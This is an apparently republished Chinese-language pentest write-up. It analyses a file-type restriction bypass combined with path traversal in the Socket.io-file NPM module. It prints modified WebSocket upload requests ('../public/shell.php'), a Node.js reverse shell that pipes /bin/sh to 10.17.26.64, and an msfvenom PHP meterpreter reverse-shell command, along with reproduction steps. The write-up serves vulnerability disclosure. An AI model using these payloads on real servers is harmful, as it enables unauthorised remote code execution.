如何實現(xiàn)Socket.io-fileNPM模塊中的文件類型限制繞過漏洞分析

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析,針對這個問題,這篇文章詳細介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

創(chuàng)新互聯(lián)公司專注于恒山企業(yè)網(wǎng)站建設(shè),響應(yīng)式網(wǎng)站開發(fā),成都商城網(wǎng)站開發(fā)。恒山網(wǎng)站建設(shè)公司,為恒山等地區(qū)提供建站服務(wù)。全流程按需制作網(wǎng)站,專業(yè)設(shè)計,全程項目跟蹤,創(chuàng)新互聯(lián)公司專業(yè)和態(tài)度為您提供的服務(wù)

寫在前面的話

在一次滲透測試過程中,我們所面對的應(yīng)用程序安全系數(shù)比較高,沒有存在太多的錯誤配置,因此簡單分析并沒有發(fā)現(xiàn)安全問題。但是深入分析后,我們發(fā)現(xiàn)了一個運行在嵌入式設(shè)備上的Web應(yīng)用程序。這個Web應(yīng)用程序使用了WebSocket來實現(xiàn)服務(wù)器和客戶端之間的通信,為了使用WebSocket,后端系統(tǒng)可以選擇的技術(shù)有很多種,而這里使用的是Socket.io。

這個應(yīng)用程序的主要功能之一就是文件上傳,這也是它選擇使用Socket.io-file NPM模塊的原因??偠灾@里存在一個路徑遍歷漏洞,將允許我們上傳文件到任意系統(tǒng)路徑中,并讓Web服務(wù)器運行該文件。

如果我們可以修改ssh_config、/etc/passwd或/etc/shadow文件的話,那么這個漏洞就相當于是一個遠程代碼執(zhí)行漏洞了,但這只能通過root權(quán)限來實現(xiàn),因此我們需要想辦法利用低權(quán)限用戶來實現(xiàn)遠程代碼執(zhí)行。

通過研究之后,我們在Socket.io-file模塊中找到了一個文件類型限制繞過漏洞。在該漏洞的幫助下,我們可以繞過模塊配置文件中的文件類型限制。這樣一來,我們就可以上傳任意文件類型,然后通過修改底層配置文件來上傳適當?shù)腟hell,以實現(xiàn)底層系統(tǒng)的遠程代碼執(zhí)行。

除此之外,Socket.io-file的上傳功能也存在對輸入數(shù)據(jù)處理和驗證邏輯不正確的問題,這些分布在代碼的各個地方。而攻擊者將能夠利用該問題繞過上傳文件類型的限制,將所選的文件類型上傳到底層系統(tǒng)中。

漏洞描述

Socket.io-file的默認配置下,提供了一個由WebSocket處理的上傳功能。當用戶嘗試通過Web應(yīng)用程序上傳一個文件時,將會創(chuàng)建下列客戶端請求以實現(xiàn)文件創(chuàng)建:

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.mp3","size":1,"chunkSize":10240,"sent":0,"data":{}}]

為了在底層系統(tǒng)創(chuàng)建該文件,Socket.io-file的index.js代碼將會被執(zhí)行,下列代碼將會檢測文件的類型并執(zhí)行后續(xù)操作:

let err = new Error('Not Acceptable file type ' + mimeType + ' of ' + filename + '. Type must be one of these: ' + this.accepts.join(', '));

return sendError(err);

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj); self.emit('complete', emitObj);

}

}

else {

self.socket.emit(socket.io-file::complete::${id}, emitObj);

self.emit('complete', emitObj);

比如說,如果用戶上傳了一個名為“testfile.mp3”的文件,那么應(yīng)用程序?qū)?chuàng)建一個新的.mp3文件,由于錢買你的代碼只會在客戶端進行檢測(WebSocket請求創(chuàng)建之前),那么我們就可以攔截上傳請求,并以應(yīng)用程序修改文件名的方式來修改創(chuàng)建文件的文件類型。下面給出的是漏洞利用樣例:

42["socket.io-file::createFile",{"id":"u_0","name":"testfile.php","size":1,"chunkSize":10240,"sent":0,"data":{}}]

為了繞過客戶端限制,我們還需要將原始文件的文件類型修改問Web應(yīng)用程序允許的文件類型。攔截請求之后,我們需要將文件類型修改為原始類型(.php),這樣服務(wù)器端就不會進行檢測了。接下來,我們就可以在底層系統(tǒng)創(chuàng)建一個.php文件了,這樣也就實現(xiàn)了文件類型檢測繞過。

除此之外,我們還可以結(jié)合路徑遍歷漏洞來執(zhí)行攻擊,我們繼續(xù)往下看。

結(jié)合多個漏洞實現(xiàn)RCE

既然我們可以向任意服務(wù)器目錄上傳任意文件,那么我們就可以在特定配置下,在底層系統(tǒng)實現(xiàn)遠程代碼執(zhí)行了。

場景1:修改配置文件

首先,我們可以修改配置文件,向Web服務(wù)器中添加惡意JavaScript代碼庫,然后修改index.html來加載惡意js腳本,即添加一個<script>標簽來引入js文件,或直接把js代碼拷貝進去。

接下來,我們就可以上傳一個js文件(服務(wù)器將會在index.html文件中加載該腳本),該文件中包含的代碼如下:

(function(){

var net = require(“net”),

cp = require(“child_process”),

sh = cp.spawn(“/bin/sh”, []);

var client = new net.Socket();

client.connect(8080, “10.17.26.64”, function(){

client.pipe(sh.stdin);

sh.stdout.pipe(client);

sh.stderr.pipe(client);

});

return /a/; // Prevents the Node.js application from crashing

})();

需要注意的是,這個反向Shell只能在包含錯誤配置的Node.js環(huán)境中執(zhí)行。通過修改監(jiān)聽器的IP地址和端口號,我們就可以獲取到反向Shell了,并在底層系統(tǒng)實現(xiàn)命令執(zhí)行。

場景2:利用特定漏洞即錯誤配置

我們存在漏洞的模塊中包含了大量不同的配置項,其中一個就是允許node.js服務(wù)器運行PHP。當然了,現(xiàn)在也有很多多用途服務(wù)器支持這種功能,而這種漏洞利用起來也相對簡單。

我們可以使用msfvenom創(chuàng)建一個PHP反向Shell,然后執(zhí)行下列命令:

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.17.26.64 LPORT=4443 -f raw > shell.mp3

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

該命令將創(chuàng)建一個php文件,當服務(wù)器執(zhí)行該文件時,便能夠給我們提供一個反向Shell。此時,結(jié)合之前的漏洞上傳文件,我們需要修改上傳WebSocket請求:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”../public/shell.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

該命令將把我們的文件上傳至服務(wù)器端的公共文件夾,使用瀏覽器進入該目錄,我們就可以執(zhí)行PHP Shell,并在我們的攻擊設(shè)備上獲取到反向Shell了:

如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析

漏洞復現(xiàn)

為了復現(xiàn)該漏洞,我們需要執(zhí)行下列操作:

  • 設(shè)置一個代理來攔截HTTP和WebSocket請求;

  • 創(chuàng)建一個Web應(yīng)用程序允許的文件類型;

  • 使用io-file上傳一個文件,并攔截WebSocket請求;

  • 根據(jù)文件類型修改請求中的“name”參數(shù)值:

42[“socket.io-file::createFile”,{“id”:”u_0″,”name”:”testfile.php”,”size”:1,”chunkSize”:10240,”sent”:0,”data”:{}}]

上述命令將會在當前用戶的date目錄中創(chuàng)建一個testfile.php文件,我們的測試服務(wù)器存儲文件路徑為/home/ubuntutest/Documents/socket-app/data。

關(guān)于如何實現(xiàn)Socket.io-file NPM模塊中的文件類型限制繞過漏洞分析問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識。

分享標題:如何實現(xiàn)Socket.io-fileNPM模塊中的文件類型限制繞過漏洞分析
分享URL:http://muchs.cn/article42/pihjec.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供品牌網(wǎng)站設(shè)計、軟件開發(fā)、定制網(wǎng)站網(wǎng)頁設(shè)計公司、網(wǎng)站內(nèi)鏈、外貿(mào)建站

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

微信小程序開發(fā)